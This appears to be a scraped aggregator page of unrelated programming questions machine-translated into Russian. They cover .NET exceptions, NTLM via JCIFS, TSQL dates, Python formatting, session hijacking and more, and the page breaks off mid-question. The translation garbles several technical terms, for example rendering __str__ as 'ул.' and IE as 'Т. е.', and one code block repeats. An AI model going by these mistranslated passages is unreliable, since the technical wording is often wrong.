У меня есть моя основная проверка формы, выполненная с использованием встроенных элементов управления проверкой .Net, но теперь мне нужно проверить, что данные достаточно удовлетворяют критериям для уровня сервиса.
Допустим, могут отображаться следующие сообщения уровня сервиса:
- Учетная запись электронной почты уже существует (сбой)
- Ссылка на введенного пользователя не существует (сбой)
- Длина пароля превышает допустимую длину хранилища данных (сбой)
- Участник создан успешно (success)
Предположим также, что на уровне сервиса будет больше правил, которые UI не может предвидеть.
В настоящее время у меня есть уровень сервиса, который бросает исключение, если все пошло не так, как планировалось. Это достаточная стратегия? Этот код пахнет для вас, ребята? Если бы я написал такой уровень сервиса, вы были бы раздражены необходимостью писать докладчиков, которые используют его таким образом? Коды возврата кажутся слишком старой школой, и bool просто недостаточно информативен.
Редактировать не по OP: слияние в последующих комментариях, которые были опубликованы в качестве ответов OP
Cheekysoft, мне нравится концепция a ServiceLayerException. У меня уже есть глобальный модуль исключений для исключений, которые я не ожидаю. Считаете ли вы, что все эти пользовательские исключения утомительны? Я думал, что ловить базовый класс исключений было немного вонючим, но не был точно уверен, как продвигаться оттуда.
tgmdbm, мне нравится умное использование выражения lambda там!
Спасибо Cheekysoft за последующие действия. Поэтому я предполагаю, что это будет стратегия, если вы не возражаете, чтобы пользователь отображал отдельную страницу (Я в первую очередь веб-разработчик), если исключение не обрабатывается.
Однако, если я хочу вернуть сообщение об ошибке в том же представлении, где пользователь представил данные, вызвавшие ошибку, мне придется поймать исключение в Презентаторе?
Вот как выглядит CreateUserView, когда ведущий обработал ServiceLayerException:
Для такого рода ошибок, это хорошо, чтобы сообщить об этом в том же представлении.
В любом случае, я думаю, что сейчас мы выходим за рамки моего первоначального вопроса. Я поиграю с тем, что вы опубликовали, и если мне понадобится дополнительная информация, я отправлю новый вопрос.
Каковы правила для именования классов AS3?
Я пытаюсь написать RegEx для генератора кода (в C#), чтобы определить правильный класс или имя пакета класса AS3.
Я знаю эти названия классов
- должно начинаться с буквы (заглавной или иначе)
- любая другая цифра может быть буквенно-цифровой
- не может иметь пробелов
Есть еще что-нибудь?
Список или BusinessObjectCollection?
До появления универсальных моделей C# все кодировали коллекции для своих бизнес-объектов, создавая базу коллекций, реализующую IEnumerable
IE:
public class CollectionBase : IEnumerable
и тогда они получат свои коллекции бизнес-объектов из этого.
public class BusinessObjectCollection : CollectionBase
Теперь с общим классом списка, кто-нибудь просто использует это вместо этого? Я обнаружил, что использую компромисс двух методов:
public class BusinessObjectCollection : List<BusinessObject>
Я делаю это, потому что мне нравится иметь строго типизированные имена, а не просто передавать списки.
Каков ваш подход?
Какие навыки вам нужны для правильного дизайна UI/Interaction/Functional в веб-приложениях?
Когда вы разрабатываете веб-приложения с нуля, какие навыки необходимы, чтобы производить полезные и богатые взаимодействием продукты?
- Вы делаете прототип пользовательского интерфейса в первую очередь?
- Используете ли Вы истории пользователей?
- Какую-то методологию или передовую практику вы бы рекомендовали или активно пропагандировали?
Короче говоря: какие навыки заставляют вас переходить от сбора требований к AmazingWebApp™?
И наконец: какие книги вы бы порекомендовали?
Почему Java и Python методы сбора мусора отличаются?
Python использует метод подсчета ссылок для обработки времени жизни объекта. Таким образом, объект, который больше не имеет смысла, будет немедленно уничтожен.
Но в Java GC (сборщик мусора) уничтожает объекты, которые больше не используются в определенное время.
Почему Java выбирает именно эту стратегию и в чем ее польза?
Это лучше, чем подход Python?
Неужели так уж плохо поймать общее исключение?
Анализируя некоторый устаревший код с FXCop, мне пришло в голову, действительно ли так плохо поймать общую ошибку исключения в блоке try или вы должны искать конкретное исключение. Мысли на открытке, пожалуйста.
Как сравнить два массива объектов DataRow в PowerShell?
У меня есть два массива объектов System.Data.DataRow , которые я хочу сравнить.
Строки имеют два столбца A и B. столбец A является ключом, и я хочу узнать, какие строки были изменены в столбце B, а какие строки были добавлены или удалены.
Как это сделать в PowerShell?
Преобразование даты / времени с помощью time.mktime кажется неправильным
>>> import time
>>> time.strptime("01-31-2009", "%m-%d-%Y")
(2009, 1, 31, 0, 0, 0, 5, 31, -1)
>>> time.mktime((2009, 1, 31, 0, 0, 0, 5, 31, -1))
1233378000.0
>>> 60*60*24 # seconds in a day
86400
>>> 1233378000.0 / 86400
14275.208333333334
>>> import time
>>> time.strptime("01-31-2009", "%m-%d-%Y")
(2009, 1, 31, 0, 0, 0, 5, 31, -1)
>>> time.mktime((2009, 1, 31, 0, 0, 0, 5, 31, -1))
1233378000.0
>>> 60*60*24 # seconds in a day
86400
>>> 1233378000.0 / 86400
14275.208333333334
time.mktime должно возвращать количество секунд с момента начала эпохи. Поскольку я даю ему время в полночь, а эпоха-в полночь, разве результат не должен быть равномерно делим на количество секунд в день?
Программное шифрование конфигурационного файла внутри .NET
Не мог бы кто-нибудь сделать краткое описание того, как программно зашифровать конфигурационный файл в .NET, предпочтительно в C#.
Я бы хотел сделать что-то вроде проверки запуска приложения, чтобы увидеть, является ли раздел незащищенным, и если да, то зашифровать его. Это касается как настроек, так и строк подключения.
Также если бы кто-нибудь мог перечислить типы шифровальщиков и в чем разница между ними.
Я не знаю, является ли код для выполнения этого в обычном WinForms-приложении прозрачным для выполнения этого в ASP.NET.
OpenID как вариант единого входа?
Я просто ищу разные мнения. Считаете ли вы OpenID хорошим решением "Single Sign On"?
То, как это работает, кажется немного запутанным для обычного пользователя, и могут возникнуть проблемы, связанные с "putting all your eggs in the same basket".
Во всяком случае, кто-нибудь пытался реализовать свое собственное решение OpenId в контексте интрасети, где есть много различных приложений (Wordpress, Elgg, Media Wiki,..)??
Я считаю, что это может быть отличным решением для решения проблемы "Digital Identity", но я не знаю, будет ли это работать с проблемой "login once and surf the Intranet".
Мнения?
Как работают механизмы обнаружения контента, такие как Zemanta и Open Calais?
Мне было интересно, как семантический сервис, такой как Open Calais, вычисляет названия компаний или людей, технологические концепции, ключевые слова и т. д. из отрывка текста. Это потому, что у них есть большая база данных, с которой они сопоставляют текст?
Как такая служба, как Zemanta, может знать, какие изображения предложить, например, фрагменту текста?
Использование управления диаграммой Ганта MS Project в C#
Кто-нибудь использовал MS Project Gantt chart control в C#? Если да, то не могли бы вы поделиться некоторыми ресурсами по этому поводу?
Управление по сравнению со стандартным HTML
Я вхожу в ASP.NET (C# - я знаю, что это не имеет значения для этого конкретного вопроса, но полное раскрытие и все такое), и хотя мне нравится, что элементы управления в стиле asp: избавляют меня от многих утомительных HTML-крафтов, я часто разочаровываюсь в определенных поведениях. Вчера вечером я столкнулся с одним из них при работе с главными страницами: мой <asp:BulletedList ID="nav"> , преобразованный в HTML, стал <ul id="ct100_nav"> .
Есть и другие проблемы-я заметил, что когда вы автоматически заполняете a DataGrid, он добавляет атрибуты к результирующей таблице, которые мне не обязательно там нужны.
Я знаю, что есть определенное количество "convention over configuration", которое вы должны принять, когда вы полагаетесь на рамки, чтобы взять на себя некоторые из ваших утомительных обязанностей, но "conventions" в этих случаях не столько какие-то установленные условности, а скорее ненужные дополнения. Я знаю, почему ID добавляет префикс, но я должен быть в состоянии настроить и отключить подобные вещи, тем более что, будучи немного евангелистом веб-стандартов, я все равно не дублирую HTML id на одной странице.
Поэтому вопрос здесь для тех разработчиков ASP.NET, которые более опытны, чем я: в вашем опыте разработки и развертывания приложений, как вы используете эти элементы управления? Может быть, вы снова прибегаете к жесткому коду HTML? Вы пользуетесь смесью? Я не хочу создавать свой HTML вокруг идиосинкразических причуд в этих элементах управления, но, если это возможно, я хотел бы использовать их, когда это возможно.
А что делать мальчику?
Как использовать проверку подлинности NTLM с Active Directory
Я пытаюсь реализовать аутентификацию NTLM на одном из наших внутренних сайтов,и все работает. Единственный кусочек головоломки, которого у меня нет, - это то, как взять информацию из NTLM и пройти аутентификацию в Active Directory.
Существует хорошее описание NTLM и шифрования, используемого для паролей, которые я использовал для реализации этого, но я не уверен, как проверить, является ли пароль пользователя действительным.
Я использую ColdFusion, но решение этой проблемы может быть на любом языке (Java, Python, PHP и т. д.).
Редактировать:
Я использую ColdFusion на Redhat Enterprise Linux. К сожалению, мы не можем использовать IIS для управления этим и вместо этого должны написать или использовать сторонний инструмент для этого.
Update - я получил эту работу, и вот что я сделал
Я пошел с библиотекой JCIFS из samba.org.
Обратите внимание, что приведенный ниже метод будет работать только с NTLMv1 и не работает с NTLMv2. Если вы не можете использовать NTLMv1, вы можете попробовать Jespa, который поддерживает NTLMv2, но не является открытым исходным кодом, или вы можете использовать Kerberos/SPNEGO.
Вот мой web.xml:
<web-app>
<display-name>Ntlm</display-name>
<filter>
<filter-name>NtlmHttpFilter</filter-name>
<filter-class>jcifs.http.NtlmHttpFilter</filter-class>
<init-param>
<param-name>jcifs.http.domainController</param-name>
<param-value>dc01.corp.example.com</param-value>
</init-param>
<init-param>
<param-name>jcifs.smb.client.domain</param-name>
<param-value>CORP.EXAMPLE.COM</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>NtlmHttpFilter</filter-name>
<url-pattern>/admin/*</url-pattern>
</filter-mapping>
</web-app>
Теперь все URLs совпадающие /admin/* будут требовать NTLM аутентификации.
Unicode против UTF-8 путаница в Python / Django?
Я наткнулся на этот отрывок в учебнике Django :
Модели Django есть ул. по умолчанию () метод, который вызывает unicode () и преобразует результат в UTF-8 bytestring. Это означает, что unicode(p) вернет строку Unicode, а str (p) вернет обычную строку с символами, закодированными как UTF-8.
Теперь я в замешательстве, потому что, насколько мне известно, Unicode-это не какая-то конкретная представленность, так что "Unicode string" в Python? Означает ли это UCS-2? В гугле появился этот "Python Unicode Tutorial" , который смело заявляет:
Unicode-это двухбайтовая кодировка, которая охватывает все распространенные в мире системы письма.
что же здесь явно не так, или это так? Меня много раз смущали проблемы с набором символов и кодировкой, но здесь я совершенно уверен, что документация, которую я читаю, запутана. Кто-нибудь знает, что происходит в Python, когда он дает мне "строку Unicode"?
Шаблон Транзакционного Проектирования
У меня есть необходимость создать процесс "transactional" с помощью внешнего API, который не поддерживает транзакции COM+ или .NET (Sharepoint, чтобы быть точным)
Что мне нужно сделать, так это иметь возможность выполнять несколько процессов в определенной последовательности, но любой сбой в этой последовательности означает, что мне придется вручную отменить все предыдущие шаги. В моем случае есть только 2 типа шага, оба из которых довольно легко отменить/откатить назад.
Есть ли у кого-нибудь предложения по дизайну моделей или структур, которые могли бы быть полезны для этого ?
Erlang-параллелизм стиля для других языков
Какие библиотеки существуют для других языков программирования, чтобы обеспечить модель параллелизма в стиле Erlang (процессы, почтовые ящики, сопоставление шаблонов) и т. д.)?
Примечание: меня особенно интересуют вещи, которые должны быть похожи на Erlang, а не просто любая библиотека потоков или очередей.
Аутентификация на веб-сайте авторизации форм ASP.Net из консольного приложения
Я пытаюсь создать консольное приложение C#, чтобы автоматизировать захват определенных файлов с нашего сайта, в основном, чтобы сэкономить клики и, честно говоря, просто сделать это. Но я попал в ловушку, для которой я не смог найти рабочего решения.
Веб-сайт, к которому я пытаюсь подключиться, использует авторизацию форм ASP.Net, и я не могу понять, как аутентифицировать себя с ним. Это приложение является полным Хак, так что я могу жесткий код моего имени пользователя и пароля или любой другой необходимой информации auth, и само решение не должно быть что-то, что является достаточно жизнеспособным, чтобы освободить для обычных пользователей. Другими словами, если единственным возможным решением является взлом, я в порядке с этим.
В принципе, я пытаюсь использовать HttpWebRequest, чтобы вытащить сайт, который имеет список файлов, повторяя этот список, а затем загружая то, что мне нужно. Таким образом, фактическая работа на сайте довольно тривиальна, как только я могу заставить сайт считать меня авторизованным.
С чего начать изучение оповещений и уведомлений сервера SQL?
Совсем недавно начались проблемы с заданием агента сервера SQL, содержащим пакет SSIS для извлечения производственных данных и их суммирования в отдельную базу данных отчетов.
Я думаю , что некоторые из настроек предупреждений/уведомлений, с которыми я пытался играть, вызвали проблему, поскольку задание выполнялось без присмотра в течение предыдущих двух недель.
Так... Где хорошее место, чтобы начать читать на SQL агент оповещения и уведомления?
Я хочу включить какое-то предупреждение/уведомление, чтобы я всегда был в курсе:
- Что задание завершается успешно (как проверка, чтобы убедиться, что оно всегда выполняется), или
- Что задание столкнулось с какой-то ошибкой, которая должна включать достаточно информации (например, номер ошибки), чтобы я мог диагностировать причину ошибки
Как всегда, любая помощь будет принята с благодарностью!
Т. е. вопросы зоны безопасности
Я разрабатываю веб-сайт, который будет использоваться в корпоративной интрасети, которая использует JCIFS и NTLM для автоматической аутентификации пользователей, не требуя от них входа в систему. Все, кажется, работает в IE 6, но некоторые пользователи запрашивают свои пароли в IE 7.
Мы добились некоторого успеха, заставив пользователей изменить свой параметр входа в систему на "Automatic logon using current username and password" (инструменты > Свойства обозревателя > вкладка безопасности > выберите локальная интрасеть > пользовательский уровень > полностью в нижней части аутентификация пользователя > вход в систему), но у нас все еще есть несколько пользователей, которые получают приглашения имени пользователя/пароля.
Кроме того, у нас были некоторые пользователи сообщают, что они могут просто нажать кнопку Отмена, когда появится приглашение, и страница появится правильно.
Если у кого-то есть другие предложения, я был бы очень признателен.
Как отправить email в локальное время пользователя на сервере .NET / Sql?
Я пишу программу, которая должна посылать email каждый час на час, но в то же время локально для пользователя.
Скажем, у меня есть 2 пользователя в разных часовых поясах. Джон сейчас в Нью-Йорке, а Фред-в Лос-Анджелесе. Сервер находится в Чикаго. Если я хочу отправить email в 6.30 локально каждому пользователю,мне придется отправить email Джону в 7 вечера по серверному времени и Фреду в 4 часа по серверному времени.
Каков хороший подход к этому в .NET / Sql сервере? Я нашел файл xml со всей информацией о часовом поясе, поэтому я подумываю написать сценарий для импорта его в базу данных, а затем запросить его.
Edit: я использовал “t4znet.dll " и сделал все сравнения на стороне .NET.
Word Automation: запись текста RTF без перехода через буфер обмена
Я пытаюсь заменить текущий выбор в Word (2003/2007) на некоторую строку RTF , хранящуюся в переменной.
Вот текущий код:
Clipboard.SetText(strRTFString, TextDataFormat.Rtf)
oWord.ActiveDocument.ActiveWindow.Selection.PasteAndFormat(0)
Есть ли способ сделать то же самое, не проходя через буфер обмена? Или есть какой-то способ переместить данные буфера обмена в безопасное место и восстановить их после этого?
Как я могу разработать для iPhone с помощью машины разработки Windows?
Есть ли какой-нибудь способ поработать с iPhone SDK на машине Windows? Есть ли планы на версию iPhone SDK для Windows?
Единственный другой способ, который я могу придумать, это запустить образ Mac VM на сервере VMWare, работающем на Windows, хотя я не слишком уверен, насколько это законно.
Как конвертировать изображения между CMYK и RGB в ColdFusion (Java)?
У меня есть потребность конвертировать изображения из CMYK в RGB - не обязательно обратно, но эй, если это можно сделать...
С выпуском ColdFusion 8 мы получили тег CFImage , но он не поддерживает это преобразование; так же как и Image.cfc, или компонент изображения Alagad .
Однако это должно быть возможно в Java; который мы можем использовать через CF. Например, вот как можно создать поток Java для спящего процесса:
<cfset jthread = createObject("java", "java.lang.Thread")/>
<cfset jthread.sleep(5000)/>
Я бы предположил, что подобный метод может быть использован для использования java для преобразования этого изображения, но не будучи разработчиком Java, я не знаю, с чего начать. Может ли кто-нибудь помочь здесь?
Я ищу хостинг-провайдера Windows, который поддерживает пользовательские образы ОС (например, AMZN EC2)
Я полюбил службу EC2 Amazon , и я ищу что-то похожее, что поддерживает возможность сохранения запущенного образа сервера Windows и запуска из него новых экземпляров.
Я связался с GoGrid (функция планируется в будущем) и Mosso (нет радости)
Кто-нибудь знает любой хостинг/cloud поставщиков, которые могут сделать это?
Почему сжатие ASP.NET gzip портит CSS?
У меня есть приложение ASP.NET webforms (3.5 SP1), над которым я работаю, и пытаюсь включить gzip fpr HTML и CSS, которые спускаются по трубе. Я использую эту реализацию (и попробовал несколько других, которые подключаются к Application_BeginRequest), и, похоже, она разрушает внешний файл CSS, который используют страницы, но intermittently...suddenly все стили исчезнут при обновлении страницы, останутся на некоторое время, а затем внезапно снова начнут работать.
И IE7, и FF3 демонстрируют такое поведение. При просмотре CSS с помощью панели инструментов веб-разработчика, он возвращает тарабарщина. Заголовок cache-control проходит как "private,", но я не знаю достаточно, чтобы выяснить, является ли это фактором, способствующим или нет.
Кроме того, это выполняется на сервере разработки ASP.NET. Может быть, это было бы хорошо с IIS, но я разрабатываю на XP, и это будет IIS5.
Какой хороший способ проверить, находятся ли две даты в один и тот же календарный день в TSQL?
Вот проблема, с которой я сталкиваюсь: у меня есть большой запрос, который должен сравнить даты в предложении where, чтобы увидеть, если две даты находятся в один и тот же день. Мое текущее решение, которое отстойно, состоит в том, чтобы отправить даты в UDF, чтобы преобразовать их в полночь того же дня, а затем проверить эти даты на равенство. Когда дело доходит до плана запроса, это катастрофа, как и почти все UDFs в предложениях joins или where. Это одно из немногих мест в моем приложении, где я не смог искоренить функции и дать оптимизатору запросов то, что он действительно может использовать для поиска лучшего индекса.
В этом случае слияние кода функции обратно в запрос кажется нецелесообразным.
Мне кажется, я упускаю здесь что-то простое.
Вот функция для справки.
if not exists (select * from dbo.sysobjects
where id = object_id(N'dbo.f_MakeDate') and
type in (N'FN', N'IF', N'TF', N'FS', N'FT'))
exec('create function dbo.f_MakeDate() returns int as
begin declare @retval int return @retval end')
go
alter function dbo.f_MakeDate
(
@Day datetime,
@Hour int,
@Minute int
)
returns datetime
as
/*
Creates a datetime using the year-month-day portion of @Day, and the
@Hour and @Minute provided
*/
begin
declare @retval datetime
set @retval = cast(
cast(datepart(m, @Day) as varchar(2)) +
'/' +
cast(datepart(d, @Day) as varchar(2)) +
'/' +
cast(datepart(yyyy, @Day) as varchar(4)) +
' ' +
cast(@Hour as varchar(2)) +
':' +
cast(@Minute as varchar(2)) as datetime)
return @retval
end
go
Чтобы усложнить ситуацию, я подключаюсь к таблицам часовых поясов, чтобы проверить дату по местному времени, которое может отличаться для каждой строки:
where
dbo.f_MakeDate(dateadd(hh, tz.Offset +
case when ds.LocalTimeZone is not null
then 1 else 0 end, t.TheDateINeedToCheck), 0, 0) = @activityDateMidnight
[Редактировать]
Я включаю предложение @Todd's:
where datediff(day, dateadd(hh, tz.Offset +
case when ds.LocalTimeZone is not null
then 1 else 0 end, t.TheDateINeedToCheck), @ActivityDate) = 0
Мое неправильное представление о том, как работает datediff (один и тот же день года в последовательные годы дает 366, а не 0, как я ожидал), заставило меня потратить много усилий.
Но план запроса не изменился. Я думаю, что мне нужно вернуться к чертежной доске со всем этим.
Виртуальный Мак?
Я думаю о том, чтобы попробовать некоторые разработки для iPhone, можно ли установить Leopard внутри VMWare? У меня уже есть довольно высокая спецификация PC с удобной настройкой, которую я хотел бы использовать, или мне нужно купить настоящий Mac?
Форматирование чисел в строки в формате Python
Мне нужно выяснить, как форматировать числа в виде строк. Мой код здесь:
return str(hours)+":"+str(minutes)+":"+str(seconds)+" "+ampm
Часы и минуты являются целыми числами, а секунды-плавающей точкой. функция str() преобразует все эти числа в десятые (0.1) места. Поэтому вместо того, чтобы моя строка выводила "5:30:59.07 pm", она будет отображать что-то вроде"5.0:30.0:59.1 pm".
В итоге, какая библиотека / функция мне нужна, чтобы сделать это за меня?
Рекомендации по отлову и повторному выбрасыванию исключений .NET
Какие рекомендации следует учитывать при перехвате исключений и повторном их отбрасывании? Я хочу убедиться, что InnerException объекта Exception и стек trace сохранены. Есть ли разница между следующими блоками кода в том, как они обрабатывают это?
try
{
//some code
}
catch (Exception ex)
{
throw ex;
}
Против:
try
{
//some code
}
catch
{
throw;
}
Как загрузить файл через HTTP с помощью Python?
У меня есть небольшая утилита, которую я использую, чтобы загрузить MP3 с веб-сайта по расписанию, а затем построить/обновить файл подкаста XML, который я, очевидно, добавил в iTunes.
Обработка текста, которая создает / обновляет файл XML, записывается в Python. Однако я использую wget внутри файла Windows .bat , чтобы загрузить фактический MP3. Хотя я бы предпочел, чтобы вся утилита была написана в Python.
Я изо всех сил пытался найти способ на самом деле вниз загрузить файл в Python, поэтому я прибегнул к wget .
Итак, как мне загрузить файл с помощью Python?
Какие стратегии вы использовали для повышения производительности веб-приложений?
- Есть ли у вас личный опыт преодоления препятствий в работе веб-приложений?
- Какие-либо рекомендуемые стратегии повышения производительности управляемого данными веб-приложения?
Моя команда разработчиков работает над веб-приложением (JSP reports, HTML, JavaScript), которое использует базу данных Oracle (PL/SQL). ключевая функциональность приложения заключается в создании отчетов, где пользователь может получить PDFs отчетов на высоком уровне и детализировать их до более низких уровней вспомогательных сведений.
Поскольку число вспомогательных подробных записей выросло до миллионов, производительность системы значительно снизилась. Основываясь на нашем текущем анализе метрик, узкое место, по-видимому, находится в логике, поражающей производительность DB и DB. В настоящее время изучается изменение модели DB и повторное выполнение некоторых логических операций на стороне сервера.
Разбиение на разделы, индексация, объяснение планов и запуск статистики-это вещи, которые были сделаны на стороне DB, чтобы попытаться помочь улучшить производительность. Хотя они и помогли, они не решили проблему удовлетворительно. Самая сложная часть анализа данных о производительности заключается в том, что база данных и веб-серверы удаленно управляются другой частью организации IT, поэтому разработчики не имеют регулярного, полного доступа, чтобы увидеть, что происходит (особенно в производственной среде, которая не зеркально отражена точно в любой другой среде разработки/тестирования).
Настроить сокет Java на fail-fast при отключении?
У меня есть порт прослушивания на моем сервере, к которому я подключаюсь с помощью класса Java и интерфейса Socket , i.e.
Socket mySocket = new Socket(host,port);
Затем я хватаю OutputStream, украшаю PrintWriter в режиме автозапуска, и я смеюсь - за исключением того, что порт прослушивания закрывается. Тогда я получаю
tcp4 0 0 *.9999 *.* LISTEN
tcp 0 0 127.0.0.1.45737 127.0.0.1.9999 CLOSE_WAIT
и я не могу обнаружить проблему в программе - я попытался использовать метод isConnected() на сокете, но он, похоже, не знает, что соединение закрыто.
Я хочу знать о проблеме в следующий раз, когда я попытаюсь написать в сокет, чтобы я мог попытаться снова подключиться и сообщить о проблеме.
Какие-нибудь советы, пожалуйста?
Спасибо всем
Перетащите Email из MS Outlook в Eclipse RCP
Есть ли у кого-нибудь рабочее решение без некоторых Java/COM-bridge? E.g. обработайте Email как файл (.msg) вместо того, чтобы найти данные, на которые ссылаются в буфере обмена?
Как лучше всего предотвратить захват сеанса?
В частности, это касается использования файла cookie сеанса клиента для идентификации сеанса на сервере.
Является ли лучшим решением использовать шифрование SSL/HTTPS для всего веб-сайта, и у вас есть лучшая гарантия того, что ни один человек в середине атаки не сможет обнюхать существующий файл cookie сеанса клиента?
И, возможно, во-вторых, лучше всего использовать какое-то шифрование самого значения сеанса, которое хранится в вашем сеансовом файле cookie?
Если злоумышленник имеет физический доступ к машине, он все равно может посмотреть файловую систему, чтобы получить допустимый файл cookie сеанса и использовать его для захвата сеанса?
Acts-as-readable Rails проблема плагина
Я использую Intridea в качестве читаемого плагина Rails для системы обмена сообщениями, которую я сейчас создаю. Я определил свой класс сообщений соответственно:
class Post < ActiveRecord::Base
acts-as-readable
end
И все, кажется, работает по плану, но при попытке заставить приложение показывать непрочитанные сообщения в моем представлении сообщений, я сталкиваюсь с проблемами.
Их пример: (я изменил подчеркивания на дефисы из-за проблем с форматированием)
bob = User.find_by_name("bob")
bob.readings # => []
Post.find_unread_by(bob) # => [<Post 1>,<Post 2>,<Post 3>...]
Post.find_read_by(bob) # => []
Post.find(1).read_by?(bob) # => false
Post.find(1).read_by!(bob) # => <Reading 1>
Post.find(1).read_by?(bob) # => true
Post.find(1).users_who_read # => [<User bob>]
Post.find_unread_by(bob) # => [<Post 2>,<Post 3>...]
Post.find_read_by(bob) # => [<Post 1>]
bob.readings # => [<Reading 1>]
Поэтому кажется, что если бы я хотел перечислить количество непрочитанных сообщений, находящихся в почтовом ящике (например, Inbox (39) ), я должен был бы сделать что - то вроде:
<%= Post.find_unread_by(current-user).count %>
Но безрезультатно. Я всегда, кажется, застреваю на простых проблемах просмотра после того, как все установлено. Есть идеи?
CruiseControl.Net Build Publisher-публиковать только скомпилированные файлы
При настройке CruiseControl я добавил блок buildpublisher в задачи издателя:
<buildpublisher>
<sourceDir>C:\MyBuild\</sourceDir>
<publishDir>C:\MyBuildPublished\</publishDir>
<alwaysPublish>false</alwaysPublish>
</buildpublisher>
Это работает, но он копирует все содержимое файла сборки, я только хочу скопировать страницы DLL и .aspx, мне не нужен исходный код для публикации.
Кто-нибудь знает способ фильтровать это, или мне нужно настроить задачу для запуска скрипта RoboCopy вместо этого?
Как вы определились между WISA и LAMP?
Приходилось ли вам когда-нибудь выбирать между WISA или LAMP в начале веб-проекта?
Хотя плюсы и минусы разбросаны по всей сети, было бы полезно узнать о вашем реальном опыте в разработке критериев w/, оценке, принятии решений и размышлении о вашем решении перейти на любую платформу w/.
Как лучше всего справиться с кэшем и кнопкой возврата браузера?
Как лучше всего обращаться с пользователем, возвращающимся на страницу, на которой были кэшированы элементы в приложении asp.net? Есть ли хороший способ захватить кнопку Назад (событие?) и обрабатывать кэш таким образом?
Что такое хороший начальный текст по функциональному программированию?
Я люблю изучать языки за пределами своей зоны комфорта, но мне было трудно найти место для начала работы с функциональными языками. Я слышал много хорошего о структуре и интерпретации компьютерных программ, но когда я попытался прочитать его пару лет назад, он просто свистел у меня над головой. Я гораздо лучше справляюсь с книгами, чем с веб-сайтами, но когда я посещаю местный книжный магазин, книги на LISP выглядят немного пугающе.
Так что же является хорошей отправной точкой? Моя цель состоит в том, чтобы иметь возможность использовать функциональный язык программирования для решения простых задач за 6 месяцев или около того, а также возможность переходить к более продвинутым темам, распознавать, когда функциональный язык является правильным инструментом для работы, и использовать язык для решения большего количества проблем в течение 2-3 лет. Мне нравятся книги, в которых много примеров, но также есть проблемы, над которыми нужно работать. Существует ли такая вещь для функциональных языков?
Схемы кэширования для управляемых языков
Это в основном ориентировано на разработчиков настольных приложений.
Как я могу создать блок кэширования, который хорошо играет с GC?
Как я могу сказать GC, что я только что сделал очистку кэша, и пришло время сделать GC?
Как я могу получить точную меру того, когда пришло время выполнить очистку кэша?
Есть ли какие-либо готовые схемы кэширования, из которых я мог бы заимствовать некоторые идеи?
Как IE7 определяет зону безопасности сайта
Кто-нибудь знает, как IE7 определяет, какую зону безопасности использовать для сайта? Я вижу основы для IE6 здесь, но я не могу найти эквивалент для IE7.
В чем разница между процедурным и функциональным программированием?
Я читал статьи Википедии как по процедурному программированию , так и по функциональному программированию, но все равно немного запутался. Может быть, кто-нибудь доведет его до конца?
404   1   11:25, 12th August, 2020
Начинающие Системы Управления Версиями
Что было бы лучшей системой управления версиями, чтобы узнать, как новичок в управлении версиями?
Создать EXE из SWF, используя Flex 3, не требуя AIR?
У меня есть простое небольшое тестовое приложение, написанное на Flex 3 (MXML и некоторые AS3). Я могу скомпилировать его в SWF просто отлично, но я хотел бы сделать его в EXE, чтобы я мог дать его нескольким моим коллегам, которые могут найти его полезным.
С Flash 8 я мог бы просто нацелить EXE вместо SWF, и это обернуло бы SWF в проектор, и все работало нормально. Есть ли эквивалент этому, используя Flex 3 SDK, который в конечном итоге не требует AIR?
Примечание: у меня нет Flex Builder, я просто использую бесплатный Flex 3 SDK.
Лучший / самый быстрый формат сжатия для баз данных (sqlserver)?
Кто-нибудь нашел хороший формат сжатия для баз данных MS Sqlserver? Если да, то что вы используете и довольны ли вы тем, как он работает?
Моя компания часто сжимает снимок базы данных с одного из наших клиентов и загружает его, чтобы у нас была локальная копия для тестирования и разработки. Мы пробовали zip в прошлом, но как только файлы базы данных пересекли границу 4Gb, нам пришлось использовать rar (zip-это только 32-бит). Проблема в том, что RAR занимает много времени для сжатия, и мы не знаем, дает ли он нам лучшую степень сжатия.
Это не вопрос о утилите сжатия, а формат сжатия. Мы используем WinRar, но рассматриваем 7zip, который поддерживает ряд форматов.
Что это лучший способ, чтобы дублировать fork() в windows?
Как мне реализовать некоторую логику, которая позволит мне воспроизвести на Windows функциональность, которую я имею на Linux с системным вызовом fork() , используя Python?
Я специально пытаюсь выполнить метод на компоненте SAPI Com, продолжая другую логику в главном потоке без блокировки или ожидания.
Лучше ли структурировать таблицу SQL, чтобы иметь совпадение, или не возвращать результат
У меня есть интересный вопрос дизайна. Я разрабатываю сторону безопасности нашего проекта, чтобы позволить нам иметь разные версии программы для разных затрат, а также позволить пользователям типа менеджера предоставлять или запрещать доступ к частям программы другим пользователям. Его собираются на веб-основе и размещены на наших серверах.
Я использую простой параметр Разрешить или запретить для каждого 'Resource' или экрана.
У нас будет большое количество ресурсов, и пользователь сможет настроить множество различных групп, чтобы пользователи могли контролировать доступ. Каждый пользователь может принадлежать только к одной группе.
У меня есть два подхода к этому в виду, и мне было любопытно, что было бы лучше для сервера SQL с точки зрения производительности.
Опция A наличие записи в таблице доступа означает, что доступ разрешен. Для этого не потребуется столбец в базе данных для хранения информации. Если результаты не возвращаются, то доступ запрещен.
Я думаю, что это будет означать меньшую таблицу, но будут ли запросы искать всю таблицу, чтобы определить, что нет соответствия?
Опция B битовый столбец включен в базу данных, которая управляет Allow/Deny. это будет означать, что всегда есть результат, который нужно найти, и делает для большей таблицы.
Мысли?
Компонент flvplayback проблемы с памятью
Мой сайт полностью основан на flash, он перемещается вокруг модели 3D, которая была предоставлена мне в виде фрагментов видео, которые я преобразовал в файлы FLV. Я использую компонент FLVPlayback для управления видео внутри моей программы. При выполнении проверок памяти с помощью System.totalMemory я заметил, что всякий раз, когда загружается видео, оно съедает кусок памяти, и даже когда я удаляю из него все прослушиватели событий(все они слабо связаны), удаляю компонент из его родительского элемента, останавливаю видео и null экземпляр компонента, он все равно не вернет эту память.
Это беспокоило меня с тех пор, как я начал работать над этим проектом из-за огромного количества видео, которое пользователь может потенциально создать и загрузить. В настоящее время каждое видео загружается в новый экземпляр FLVPlayback всякий раз, когда это требуется, но я прочитал, что, возможно, лучший способ решить эту проблему-просто иметь глобальный экземпляр FLVPlayback и просто перезагрузить новое видео в старый экземпляр, таким образом, в памяти приложения будет только один компонент FLVPlayback.
Кто-нибудь еще столкнулся с этой проблемой? Вы нашли лучшее решение, чем использование глобального экземпляра, который вы просто повторно используете для каждого нового видео?
Как лучше всего сравнить две коллекции в Java и действовать по ним?
У меня есть две коллекции одного и того же объекта, Collection<Foo> oldSet и Collection<Foo> newSet . Необходимая логика заключается в следующем:
- если
